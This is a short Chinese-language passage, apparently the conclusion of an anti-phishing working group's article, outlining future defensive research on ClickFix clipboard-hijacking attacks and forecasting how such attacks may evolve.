基于当前 ClickFix 攻击演化趋势，后续可从三个方向开展深化研究：

跨平台 ClickFix 变体技术研究：针对 macOS、移动端同类剪贴劫持、命令诱导攻击拆解技术链路，构建全平台统一风险检测模型；

防御策略量化仿真实验：搭建校园网络仿真环境，模拟不同 ClickFix 攻击场景，测试四维防御框架各模块拦截成功率，优化规则阈值与管控策略；

基于大模型的诱饵页面智能识别技术研究：利用自然语言、前端代码特征训练识别模型，实现无特征样本 ClickFix 诱饵页面实时智能检测，提升网关、浏览器前置拦截能力。

从攻防演化趋势预判，ClickFix 攻击将持续迭代规避技术，逐步衍生自动粘贴、无人工操作的静默执行变种，钓鱼即服务工具会进一步降低攻击开发门槛，政企、高校安全建设需持续跟进新型社工钓鱼攻击技术动态，同步迭代防护策略与人员安全培训体系，持续完善纵深防御闭环。

编辑：芦笛（公共互联网反网络钓鱼工作组）